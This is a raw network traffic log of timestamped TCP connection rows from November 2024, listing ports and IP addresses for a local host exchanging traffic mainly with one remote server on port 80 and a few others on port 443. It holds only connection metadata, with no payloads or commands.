Nov 9, 2024 22:09:49.562565088 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.562865973 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.562879086 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.562891006 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.562902927 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.562913895 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.562922001 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.562927961 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.562941074 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.562944889 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.562954903 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.562964916 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.562992096 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.563400984 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.563412905 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.563422918 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.563441038 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.563452959 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.563462019 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.563465118 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.563477993 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.563479900 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.563487053 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.563488960 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.563523054 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.563544989 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.563968897 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.563980103 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.563991070 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564002037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564013958 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564018965 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.564026117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564038038 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564049006 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564060926 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564060926 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.564069986 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.564090967 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.564116001 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.564563036 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564578056 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564589024 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564601898 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564613104 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564624071 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564631939 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.564635992 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564647913 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564660072 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564666033 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.564672947 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564688921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564691067 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.564699888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564707994 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.564712048 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.564740896 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.564758062 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.565444946 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.565458059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.565464020 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.565469980 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.565481901 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.565494061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.565505981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.565516949 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.565516949 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.565530062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.565546989 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.565562963 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.566063881 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.566075087 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.566090107 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.566102028 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.566113949 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.566126108 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.566138029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.566143036 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.566150904 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.566163063 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.566163063 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.566174984 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.566174984 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.566186905 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.566198111 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.566204071 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.566220045 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.566245079 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.567003965 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567017078 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567028046 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567039013 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567051888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567069054 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.567070961 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567081928 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567091942 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567104101 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567112923 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.567115068 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567133904 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567136049 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.567145109 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567147970 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.567158937 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567173004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567189932 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.567218065 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.567791939 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567805052 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567816019 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.567852974 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.567878008 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.602509975 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.602570057 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.602583885 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.602591038 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.602611065 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.602631092 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.602659941 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.606345892 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.615536928 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.615566969 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.615648031 CET	49927	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.615655899 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.615700006 CET	49927	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.615714073 CET	49927	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.615900993 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.615956068 CET	49927	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.616803885 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.616817951 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.616848946 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.616919994 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.616919994 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.616940022 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.617072105 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.617141962 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.617151022 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.633471966 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.633501053 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.633537054 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.633563995 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.633574963 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.633600950 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.653605938 CET	443	49929	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:49.653852940 CET	49929	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:49.653862000 CET	443	49929	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:49.654880047 CET	443	49929	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:49.654942036 CET	49929	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:49.655328035 CET	49929	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:49.655396938 CET	443	49929	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:49.655565023 CET	49929	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:49.655571938 CET	443	49929	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:49.659849882 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.675445080 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.676911116 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.676944017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.676956892 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.676979065 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.677007914 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.677515984 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.677561045 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.677572012 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.677572966 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.677627087 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.677670956 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.677685022 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.677714109 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.677742004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.677793980 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.677804947 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.677814960 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.677823067 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.677843094 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.677872896 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.678133011 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678149939 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678163052 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678178072 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678186893 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.678201914 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678212881 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678215981 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.678224087 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678231001 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.678235054 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678246975 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678257942 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.678261042 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678306103 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.678306103 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.678392887 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678404093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678415060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678428888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678441048 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678452969 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678481102 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.678504944 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.678669930 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678682089 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678693056 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678704977 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678723097 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.678740978 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.678828001 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678885937 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.678930044 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678941965 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678951979 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678956032 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678961992 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678967953 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678977013 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.678978920 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.678998947 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679014921 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.679044008 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.679198027 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679209948 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679219961 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679245949 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679258108 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679263115 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.679266930 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679276943 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.679279089 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679290056 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679301977 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679307938 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.679320097 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679341078 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.679359913 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.679704905 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679714918 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679724932 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679738045 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679749012 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679759979 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.679761887 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679773092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679784060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679791927 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.679796934 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.679816961 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.679836035 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.680053949 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680066109 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680120945 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.680192947 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680205107 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680217028 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680227041 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680237055 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680244923 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.680248976 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680263042 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.680290937 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.680475950 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680490017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680519104 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680525064 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.680531025 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680538893 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.680542946 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680557966 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.680561066 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680571079 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680577993 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.680583000 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680596113 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680603027 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.680607080 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680630922 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.680640936 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.680958986 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680972099 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680982113 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.680994034 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681022882 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.681042910 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.681169033 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681180000 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681190968 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681201935 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681217909 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681221962 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.681230068 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.681272984 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.681407928 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681418896 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681428909 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681435108 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681472063 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.681488037 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.681639910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681649923 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681659937 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681673050 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681684017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681685925 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.681694984 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681705952 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681719065 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681727886 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.681729078 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681740046 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.681741953 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.681757927 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.681788921 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.682038069 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682049990 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682060003 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682073116 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682085037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682095051 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682095051 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.682106972 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682107925 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.682138920 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.682452917 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682465076 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682475090 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682480097 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682491064 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682502031 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682512999 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682514906 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.682523966 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682535887 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.682538033 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682549953 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682564974 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682565928 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.682574034 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682585001 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682585955 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.682598114 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.682617903 CET	49813	80	192.168.2.5	185.215.113.206
